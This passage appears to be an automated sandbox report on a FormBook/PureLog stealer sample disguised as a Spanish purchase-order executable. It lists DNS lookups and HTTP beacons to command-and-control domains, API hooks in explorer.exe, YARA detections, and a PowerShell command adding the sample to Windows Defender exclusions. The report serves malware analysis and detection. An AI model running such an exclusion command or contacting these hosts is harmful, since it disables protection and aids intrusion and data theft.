                                                                                                            Feb 28, 2024 14:58:04.264530897 CET80497203.33.130.190192.168.2.7
                                                                                                            Feb 28, 2024 14:58:04.264631033 CET4972080192.168.2.73.33.130.190
                                                                                                            Feb 28, 2024 14:58:04.264666080 CET4972080192.168.2.73.33.130.190
                                                                                                            Feb 28, 2024 14:58:04.272202969 CET80497203.33.130.190192.168.2.7
                                                                                                            Feb 28, 2024 14:58:04.272270918 CET4972080192.168.2.73.33.130.190
                                                                                                            Feb 28, 2024 14:58:04.357213020 CET80497203.33.130.190192.168.2.7
                                                                                                            Feb 28, 2024 14:58:24.487910986 CET4972180192.168.2.7103.224.212.213
                                                                                                            Feb 28, 2024 14:58:24.644680977 CET8049721103.224.212.213192.168.2.7
                                                                                                            Feb 28, 2024 14:58:24.644752026 CET4972180192.168.2.7103.224.212.213
                                                                                                            Feb 28, 2024 14:58:24.644871950 CET4972180192.168.2.7103.224.212.213
                                                                                                            Feb 28, 2024 14:58:24.829653025 CET8049721103.224.212.213192.168.2.7
                                                                                                            Feb 28, 2024 14:58:24.829674006 CET8049721103.224.212.213192.168.2.7
                                                                                                            Feb 28, 2024 14:58:24.829785109 CET4972180192.168.2.7103.224.212.213
                                                                                                            Feb 28, 2024 14:58:24.829818964 CET4972180192.168.2.7103.224.212.213
                                                                                                            Feb 28, 2024 14:58:24.986521006 CET8049721103.224.212.213192.168.2.7

                                                                                                            UDP Packets

                                                                                                            TimestampSource PortDest PortSource IPDest IP
                                                                                                            Feb 28, 2024 14:55:21.165432930 CET5387853192.168.2.71.1.1.1
                                                                                                            Feb 28, 2024 14:55:21.391565084 CET53538781.1.1.1192.168.2.7
                                                                                                            Feb 28, 2024 14:55:41.524226904 CET5139253192.168.2.71.1.1.1
                                                                                                            Feb 28, 2024 14:55:41.785398006 CET53513921.1.1.1192.168.2.7
                                                                                                            Feb 28, 2024 14:56:00.915092945 CET6465553192.168.2.71.1.1.1
                                                                                                            Feb 28, 2024 14:56:01.045962095 CET53646551.1.1.1192.168.2.7
                                                                                                            Feb 28, 2024 14:56:21.073894024 CET6461553192.168.2.71.1.1.1
                                                                                                            Feb 28, 2024 14:56:21.203222990 CET53646151.1.1.1192.168.2.7
                                                                                                            Feb 28, 2024 14:56:41.775393009 CET6322553192.168.2.71.1.1.1
                                                                                                            Feb 28, 2024 14:56:42.258101940 CET53632251.1.1.1192.168.2.7
                                                                                                            Feb 28, 2024 14:57:02.415312052 CET5615453192.168.2.71.1.1.1
                                                                                                            Feb 28, 2024 14:57:02.548829079 CET53561541.1.1.1192.168.2.7
                                                                                                            Feb 28, 2024 14:57:22.806068897 CET5924753192.168.2.71.1.1.1
                                                                                                            Feb 28, 2024 14:57:23.806196928 CET5924753192.168.2.71.1.1.1
                                                                                                            Feb 28, 2024 14:57:24.087719917 CET53592471.1.1.1192.168.2.7
                                                                                                            Feb 28, 2024 14:57:24.087740898 CET53592471.1.1.1192.168.2.7
                                                                                                            Feb 28, 2024 14:58:03.868804932 CET6248353192.168.2.71.1.1.1
                                                                                                            Feb 28, 2024 14:58:04.076914072 CET53624831.1.1.1192.168.2.7
                                                                                                            Feb 28, 2024 14:58:24.227978945 CET5954553192.168.2.71.1.1.1
                                                                                                            Feb 28, 2024 14:58:24.486865044 CET53595451.1.1.1192.168.2.7

                                                                                                            DNS Queries

                                                                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                                            Feb 28, 2024 14:55:21.165432930 CET192.168.2.71.1.1.10x6a9cStandard query (0)www.ytytyt016.xyzA (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:55:41.524226904 CET192.168.2.71.1.1.10xf184Standard query (0)www.aloyoga-uae.comA (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:56:00.915092945 CET192.168.2.71.1.1.10xbd9eStandard query (0)www.kxn.inkA (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:56:21.073894024 CET192.168.2.71.1.1.10x176fStandard query (0)www.nordens-media.comA (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:56:41.775393009 CET192.168.2.71.1.1.10x312Standard query (0)www.thewipglobal.comA (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:57:02.415312052 CET192.168.2.71.1.1.10xa9e5Standard query (0)www.boostyourselftoday.comA (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:57:22.806068897 CET192.168.2.71.1.1.10x2f14Standard query (0)www.yobo-by.comA (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:57:23.806196928 CET192.168.2.71.1.1.10x2f14Standard query (0)www.yobo-by.comA (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:58:03.868804932 CET192.168.2.71.1.1.10xa1beStandard query (0)www.rdlva.comA (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:58:24.227978945 CET192.168.2.71.1.1.10xc105Standard query (0)www.yassa-hany.onlineA (IP address)IN (0x0001)false

                                                                                                            DNS Answers

                                                                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                                            Feb 28, 2024 14:55:21.391565084 CET1.1.1.1192.168.2.70x6a9cNo error (0)www.ytytyt016.xyz51yt-nlb-8ea864e2717dc817.elb.ap-east-1.amazonaws.comCNAME (Canonical name)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:55:21.391565084 CET1.1.1.1192.168.2.70x6a9cNo error (0)51yt-nlb-8ea864e2717dc817.elb.ap-east-1.amazonaws.com18.167.179.176A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:55:21.391565084 CET1.1.1.1192.168.2.70x6a9cNo error (0)51yt-nlb-8ea864e2717dc817.elb.ap-east-1.amazonaws.com43.198.64.213A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:55:21.391565084 CET1.1.1.1192.168.2.70x6a9cNo error (0)51yt-nlb-8ea864e2717dc817.elb.ap-east-1.amazonaws.com18.167.58.141A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:55:41.785398006 CET1.1.1.1192.168.2.70xf184No error (0)www.aloyoga-uae.com3.96.23.237A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:56:01.045962095 CET1.1.1.1192.168.2.70xbd9eNo error (0)www.kxn.ink104.21.12.188A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:56:01.045962095 CET1.1.1.1192.168.2.70xbd9eNo error (0)www.kxn.ink172.67.132.76A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:56:21.203222990 CET1.1.1.1192.168.2.70x176fNo error (0)www.nordens-media.comnordens-media.comCNAME (Canonical name)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:56:21.203222990 CET1.1.1.1192.168.2.70x176fNo error (0)nordens-media.com15.197.142.173A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:56:21.203222990 CET1.1.1.1192.168.2.70x176fNo error (0)nordens-media.com3.33.152.147A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:56:42.258101940 CET1.1.1.1192.168.2.70x312No error (0)www.thewipglobal.com15.197.130.221A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:57:02.548829079 CET1.1.1.1192.168.2.70xa9e5No error (0)www.boostyourselftoday.comboostyourselftoday.comCNAME (Canonical name)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:57:02.548829079 CET1.1.1.1192.168.2.70xa9e5No error (0)boostyourselftoday.com172.104.233.69A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:57:24.087719917 CET1.1.1.1192.168.2.70x2f14No error (0)www.yobo-by.comgiikin-shangcheng-jingling-3-2041841048.ap-southeast-1.elb.amazonaws.comCNAME (Canonical name)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:57:24.087719917 CET1.1.1.1192.168.2.70x2f14No error (0)giikin-shangcheng-jingling-3-2041841048.ap-southeast-1.elb.amazonaws.com13.228.106.35A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:57:24.087719917 CET1.1.1.1192.168.2.70x2f14No error (0)giikin-shangcheng-jingling-3-2041841048.ap-southeast-1.elb.amazonaws.com18.142.217.119A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:57:24.087740898 CET1.1.1.1192.168.2.70x2f14No error (0)www.yobo-by.comgiikin-shangcheng-jingling-3-2041841048.ap-southeast-1.elb.amazonaws.comCNAME (Canonical name)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:57:24.087740898 CET1.1.1.1192.168.2.70x2f14No error (0)giikin-shangcheng-jingling-3-2041841048.ap-southeast-1.elb.amazonaws.com13.228.106.35A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:57:24.087740898 CET1.1.1.1192.168.2.70x2f14No error (0)giikin-shangcheng-jingling-3-2041841048.ap-southeast-1.elb.amazonaws.com18.142.217.119A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:58:04.076914072 CET1.1.1.1192.168.2.70xa1beNo error (0)www.rdlva.comrdlva.comCNAME (Canonical name)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:58:04.076914072 CET1.1.1.1192.168.2.70xa1beNo error (0)rdlva.com3.33.130.190A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:58:04.076914072 CET1.1.1.1192.168.2.70xa1beNo error (0)rdlva.com15.197.148.33A (IP address)IN (0x0001)false
                                                                                                            Feb 28, 2024 14:58:24.486865044 CET1.1.1.1192.168.2.70xc105No error (0)www.yassa-hany.online103.224.212.213A (IP address)IN (0x0001)false

                                                                                                            HTTP Request Dependency Graph

                                                                                                            • www.ytytyt016.xyz
                                                                                                            • www.aloyoga-uae.com
                                                                                                            • www.kxn.ink
                                                                                                            • www.nordens-media.com
                                                                                                            • www.thewipglobal.com
                                                                                                            • www.boostyourselftoday.com
                                                                                                            • www.yobo-by.com
                                                                                                            • www.rdlva.com
                                                                                                            • www.yassa-hany.online

                                                                                                            HTTP Packets

                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                            0192.168.2.74971118.167.179.176804056C:\Windows\explorer.exe
                                                                                                            TimestampBytes transferredDirectionData
                                                                                                            Feb 28, 2024 14:55:21.703258991 CET165OUTGET /pz08/?cx=jtuLWRsQ7h/kdQWA3jOYD6sQTdy8Hpo6TuBbTJkxtbgc8qtuAyjytUGgDBD8ARNIyniRVdyhSg==&CR=_DHhAtX HTTP/1.1
                                                                                                            Host: www.ytytyt016.xyz
                                                                                                            Connection: close
                                                                                                            Data Raw: 00 00 00 00 00 00 00
                                                                                                            Data Ascii:
                                                                                                            Feb 28, 2024 14:55:22.011445045 CET447INHTTP/1.1 301 Moved Permanently
                                                                                                            Server: nginx
                                                                                                            Date: Wed, 28 Feb 2024 13:55:21 GMT
                                                                                                            Content-Type: text/html
                                                                                                            Content-Length: 162
                                                                                                            Connection: close
                                                                                                            Location: https://www.ytytyt016.xyz/pz08/?cx=jtuLWRsQ7h/kdQWA3jOYD6sQTdy8Hpo6TuBbTJkxtbgc8qtuAyjytUGgDBD8ARNIyniRVdyhSg==&CR=_DHhAtX
                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                            Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                            1192.168.2.7497133.96.23.237804056C:\Windows\explorer.exe
                                                                                                            TimestampBytes transferredDirectionData
                                                                                                            Feb 28, 2024 14:55:41.893387079 CET167OUTGET /pz08/?cx=9YX7L4oFB3/EoPBGuEUMKmowUgzTtecO6ANZQ1SJSnxFJE2hiNf1weaUCMKGubsbt86VGUGPQA==&CR=_DHhAtX HTTP/1.1
                                                                                                            Host: www.aloyoga-uae.com
                                                                                                            Connection: close
                                                                                                            Data Raw: 00 00 00 00 00 00 00
                                                                                                            Data Ascii:
                                                                                                            Feb 28, 2024 14:55:42.000164032 CET512INHTTP/1.1 301 Moved Permanently
                                                                                                            Server: nginx
                                                                                                            Date: Wed, 28 Feb 2024 13:55:41 GMT
                                                                                                            Content-Type: text/html; charset=utf-8
                                                                                                            Content-Length: 85
                                                                                                            Connection: close
                                                                                                            X-date: 2024-02-22T21:57:48+00:00
                                                                                                            X-Content-Type-Options: nosniff
                                                                                                            Expires: Thu, 29 Feb 2024 21:57:48 +0000
                                                                                                            Cache-Control: public, max-age=604800
                                                                                                            Location: https://www.aloyoga.com/
                                                                                                            X-Xss-Protection: 1; mode=block
                                                                                                            X-Frame-Options: SAMEORIGIN
                                                                                                            X-Cached: HIT
                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 20 6f 6e 6c 6f 61 64 3d 22 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 6c 6f 79 6f 67 61 2e 63 6f 6d 2f 27 22 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                                                                            Data Ascii: <html><body onload="document.location.href='https://www.aloyoga.com/'"></body></html>


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                            2192.168.2.749715104.21.12.188804056C:\Windows\explorer.exe
                                                                                                            TimestampBytes transferredDirectionData
                                                                                                            Feb 28, 2024 14:56:01.170609951 CET159OUTGET /pz08/?cx=U4nNGnww1kjxOKScgSk+uScuMskua2ucq9ipsnk6Ch7erOE2tdRqmLDXrgubFDKibExXjkNZ4A==&CR=_DHhAtX HTTP/1.1
                                                                                                            Host: www.kxn.ink
                                                                                                            Connection: close
                                                                                                            Data Raw: 00 00 00 00 00 00 00
                                                                                                            Data Ascii:
                                                                                                            Feb 28, 2024 14:56:01.334677935 CET557INHTTP/1.1 404 Not Found
                                                                                                            Date: Wed, 28 Feb 2024 13:56:01 GMT
                                                                                                            Content-Type: text/plain;charset=UTF-8
                                                                                                            Content-Length: 9
                                                                                                            Connection: close
                                                                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2Bx9nK6ndDF2UVpxmF3GIUFSCGRSrM7hD0Jqw7lNyNch%2BHrEuUYJwyNl%2BsChtHmoCrEjH0I3TOEKqI9HzaMw3iyz1Ry3Nhj2L%2BjAe85GNWEc08%2BUj3bRZ8xOBnjKjFA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                            Server: cloudflare
                                                                                                            CF-RAY: 85c92b239cd2393a-IAD
                                                                                                            alt-svc: h3=":443"; ma=86400
                                                                                                            Data Raw: 4e 6f 74 20 66 6f 75 6e 64
                                                                                                            Data Ascii: Not found


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                            3192.168.2.74971615.197.142.173804056C:\Windows\explorer.exe
                                                                                                            TimestampBytes transferredDirectionData
                                                                                                            Feb 28, 2024 14:56:21.301234961 CET169OUTGET /pz08/?cx=32Qm6Ke2HKMNxWuGOo4gUstP0NhHa1GW0Wc3g6Bmqj6dA0nbRKEtQTutVOb61eG0z72pbUCjvw==&CR=_DHhAtX HTTP/1.1
                                                                                                            Host: www.nordens-media.com
                                                                                                            Connection: close
                                                                                                            Data Raw: 00 00 00 00 00 00 00
                                                                                                            Data Ascii:
                                                                                                            Feb 28, 2024 14:56:21.394699097 CET266INHTTP/1.1 403 Forbidden
                                                                                                            Server: awselb/2.0
                                                                                                            Date: Wed, 28 Feb 2024 13:56:21 GMT
                                                                                                            Content-Type: text/html
                                                                                                            Content-Length: 118
                                                                                                            Connection: close
                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                            Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                            4192.168.2.74971715.197.130.221804056C:\Windows\explorer.exe
                                                                                                            TimestampBytes transferredDirectionData
                                                                                                            Feb 28, 2024 14:56:42.351336002 CET168OUTGET /pz08/?cx=j7VZTyaPLotDIgtvuFm1Wc2ZOg86ksyi3hYWattYqpUq5IzwEATKEtPTRIq3N3amsDpuvgSkbA==&CR=_DHhAtX HTTP/1.1
                                                                                                            Host: www.thewipglobal.com
                                                                                                            Connection: close
                                                                                                            Data Raw: 00 00 00 00 00 00 00
                                                                                                            Data Ascii:
                                                                                                            Feb 28, 2024 14:56:42.565313101 CET312INHTTP/1.1 403 Forbidden
                                                                                                            Date: Wed, 28 Feb 2024 13:56:42 GMT
                                                                                                            Content-Type: text/html
                                                                                                            Content-Length: 146
                                                                                                            Connection: close
                                                                                                            Server: nginx
                                                                                                            Vary: Accept-Encoding
                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                            Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                            5192.168.2.749718172.104.233.69804056C:\Windows\explorer.exe
                                                                                                            TimestampBytes transferredDirectionData
                                                                                                            Feb 28, 2024 14:57:02.918467045 CET174OUTGET /pz08/?cx=0FaXmte0/P3knfwA0sMIwS1mD7E8vQQWGPcDD9zpFFyhOAUFaj5MXy9fjN6AdDBGShPY7E+43Q==&CR=_DHhAtX HTTP/1.1
                                                                                                            Host: www.boostyourselftoday.com
                                                                                                            Connection: close
                                                                                                            Data Raw: 00 00 00 00 00 00 00
                                                                                                            Data Ascii:
                                                                                                            Feb 28, 2024 14:57:03.396889925 CET443INHTTP/1.1 301 Moved Permanently
                                                                                                            Connection: close
                                                                                                            expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                            cache-control: no-cache, must-revalidate, max-age=0
                                                                                                            content-type: text/html; charset=UTF-8
                                                                                                            x-redirect-by: WordPress
                                                                                                            location: http://boostyourselftoday.com/pz08/?cx=0FaXmte0/P3knfwA0sMIwS1mD7E8vQQWGPcDD9zpFFyhOAUFaj5MXy9fjN6AdDBGShPY7E+43Q==&CR=_DHhAtX
                                                                                                            content-length: 0
                                                                                                            date: Wed, 28 Feb 2024 13:57:03 GMT
                                                                                                            server: LiteSpeed
                                                                                                            vary: User-Agent


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                            6192.168.2.74971913.228.106.35804056C:\Windows\explorer.exe
                                                                                                            TimestampBytes transferredDirectionData
                                                                                                            Feb 28, 2024 14:57:24.410156012 CET163OUTGET /pz08/?cx=iU/VPDM1hXdODhSoU7U2JopiHjlxkOyRWPhUw/eyvzY6Otnmd1rCkE8jNVWF6hpsFcjAQEEsrA==&CR=_DHhAtX HTTP/1.1
                                                                                                            Host: www.yobo-by.com
                                                                                                            Connection: close
                                                                                                            Data Raw: 00 00 00 00 00 00 00
                                                                                                            Data Ascii:
                                                                                                            Feb 28, 2024 14:57:24.731797934 CET785INHTTP/1.1 403 Forbidden
                                                                                                            Server: awselb/2.0
                                                                                                            Date: Wed, 28 Feb 2024 13:57:24 GMT
                                                                                                            Content-Type: text/html
                                                                                                            Content-Length: 118
                                                                                                            Connection: close
                                                                                                            Set-Cookie: AWSALBTG=NS0vl/nza4XrlBrxo9sozNHchfYtqQ0GHoh3ll7hy+Q6+MjBhfzp1LuA5P+nivzgriz1HGM8gtsF4KX/KJcqXMLDjGBedBekzlEu+rfYz7Bg48nOOWiT/P7gxOUL74MLBzpZBEFagXa6dw2II47xPyomPV2Ke79MTma+7aPJnVy3eJM7jNg=; Expires=Wed, 06 Mar 2024 13:57:24 GMT; Path=/
                                                                                                            Set-Cookie: AWSALBTGCORS=NS0vl/nza4XrlBrxo9sozNHchfYtqQ0GHoh3ll7hy+Q6+MjBhfzp1LuA5P+nivzgriz1HGM8gtsF4KX/KJcqXMLDjGBedBekzlEu+rfYz7Bg48nOOWiT/P7gxOUL74MLBzpZBEFagXa6dw2II47xPyomPV2Ke79MTma+7aPJnVy3eJM7jNg=; Expires=Wed, 06 Mar 2024 13:57:24 GMT; Path=/; SameSite=None
                                                                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                            Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                            7192.168.2.7497203.33.130.190804056C:\Windows\explorer.exe
                                                                                                            TimestampBytes transferredDirectionData
                                                                                                            Feb 28, 2024 14:58:04.170586109 CET161OUTGET /pz08/?cx=sHUCYmOOLAoNE4y8/5cjc5MBwdY8WEAoN/4wEGeHNPnX/dfJjUbL6GitjPJCVlt1GculRFq7FA==&CR=_DHhAtX HTTP/1.1
                                                                                                            Host: www.rdlva.com
                                                                                                            Connection: close
                                                                                                            Data Raw: 00 00 00 00 00 00 00
                                                                                                            Data Ascii:
                                                                                                            Feb 28, 2024 14:58:04.264493942 CET304INHTTP/1.1 301 Moved Permanently
                                                                                                            Server: openresty
                                                                                                            Date: Wed, 28 Feb 2024 13:58:04 GMT
                                                                                                            Content-Type: text/plain
                                                                                                            Content-Length: 0
                                                                                                            Connection: close
                                                                                                            Location: https://www.rdlva.com/pz08/?cx=sHUCYmOOLAoNE4y8/5cjc5MBwdY8WEAoN/4wEGeHNPnX/dfJjUbL6GitjPJCVlt1GculRFq7FA==&CR=_DHhAtX
                                                                                                            ETag: "65dd12f1-0"


                                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                            8192.168.2.749721103.224.212.213804056C:\Windows\explorer.exe
                                                                                                            TimestampBytes transferredDirectionData
                                                                                                            Feb 28, 2024 14:58:24.644871950 CET169OUTGET /pz08/?cx=QdC7EAnI8ZBK6KsnIEDwiNoe1wSidTgePl3trAKN/Agbi7tcJn0SHRDVuMZpBqNAn8DKeRhHzw==&CR=_DHhAtX HTTP/1.1
                                                                                                            Host: www.yassa-hany.online
                                                                                                            Connection: close
                                                                                                            Data Raw: 00 00 00 00 00 00 00
                                                                                                            Data Ascii:
                                                                                                            Feb 28, 2024 14:58:24.829653025 CET433INHTTP/1.1 302 Found
                                                                                                            date: Wed, 28 Feb 2024 13:58:24 GMT
                                                                                                            server: Apache
                                                                                                            set-cookie: __tad=1709128704.8685536; expires=Sat, 25-Feb-2034 13:58:24 GMT; Max-Age=315360000
                                                                                                            location: http://ww25.yassa-hany.online/pz08/?cx=QdC7EAnI8ZBK6KsnIEDwiNoe1wSidTgePl3trAKN/Agbi7tcJn0SHRDVuMZpBqNAn8DKeRhHzw==&CR=_DHhAtX&subid1=20240229-0058-24ae-ba57-9c10bec0e2f9
                                                                                                            content-length: 2
                                                                                                            content-type: text/html; charset=UTF-8
                                                                                                            connection: close
                                                                                                            Data Raw: 0a 0a
                                                                                                            Data Ascii:


                                                                                                            Code Manipulations

                                                                                                            User Modules

                                                                                                            Hook Summary

                                                                                                            Function NameHook TypeActive in Processes
                                                                                                            PeekMessageAINLINEexplorer.exe
                                                                                                            PeekMessageWINLINEexplorer.exe
                                                                                                            GetMessageWINLINEexplorer.exe
                                                                                                            GetMessageAINLINEexplorer.exe

                                                                                                            Processes

                                                                                                            Process: explorer.exe, Module: user32.dll
                                                                                                            Function NameHook TypeNew Data
                                                                                                            PeekMessageAINLINE0x48 0x8B 0xB8 0x81 0x1E 0xE0
                                                                                                            PeekMessageWINLINE0x48 0x8B 0xB8 0x89 0x9E 0xE0
                                                                                                            GetMessageWINLINE0x48 0x8B 0xB8 0x89 0x9E 0xE0
                                                                                                            GetMessageAINLINE0x48 0x8B 0xB8 0x81 0x1E 0xE0

                                                                                                            Statistics

                                                                                                            CPU Usage

                                                                                                            Click to jump to process

                                                                                                            Memory Usage

                                                                                                            Click to jump to process

                                                                                                            High Level Behavior Distribution

                                                                                                            Click to dive into process behavior distribution

                                                                                                            Behavior

                                                                                                            Click to jump to process

                                                                                                            System Behavior

                                                                                                            General

                                                                                                            Target ID:2
                                                                                                            Start time:14:54:32
                                                                                                            Start date:28/02/2024
                                                                                                            Path:C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe
                                                                                                            Wow64 process (32bit):true
                                                                                                            Commandline:C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe
                                                                                                            Imagebase:0x3f0000
                                                                                                            File size:711'680 bytes
                                                                                                            MD5 hash:EEC85A3805BCA7A05B1E669F3A043BC6
                                                                                                            Has elevated privileges:true
                                                                                                            Has administrator privileges:true
                                                                                                            Programmed in:C, C++ or other language
                                                                                                            Yara matches:
                                                                                                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000002.1394754443.0000000002763000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000002.1394754443.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000002.1402312929.00000000072E2000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000002.00000002.1394754443.0000000002721000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                            • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                            • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                                            • Rule: Formbook, Description: detect Formbook in memory, Source: 00000002.00000002.1397158259.0000000004104000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                                            Reputation:low
                                                                                                            Has exited:true

                                                                                                            General

                                                                                                            Target ID:4
                                                                                                            Start time:14:54:39
                                                                                                            Start date:28/02/2024
                                                                                                            Path:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            Wow64 process (32bit):true
                                                                                                            Commandline:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Solicitud de pedido Documento No 168646080.exe
                                                                                                            Imagebase:0x1a0000
                                                                                                            File size:433'152 bytes
                                                                                                            MD5 hash:C32CA4ACFCC635EC1EA6ED8A34DF5FAC
                                                                                                            Has elevated privileges:true
                                                                                                            Has administrator privileges:true
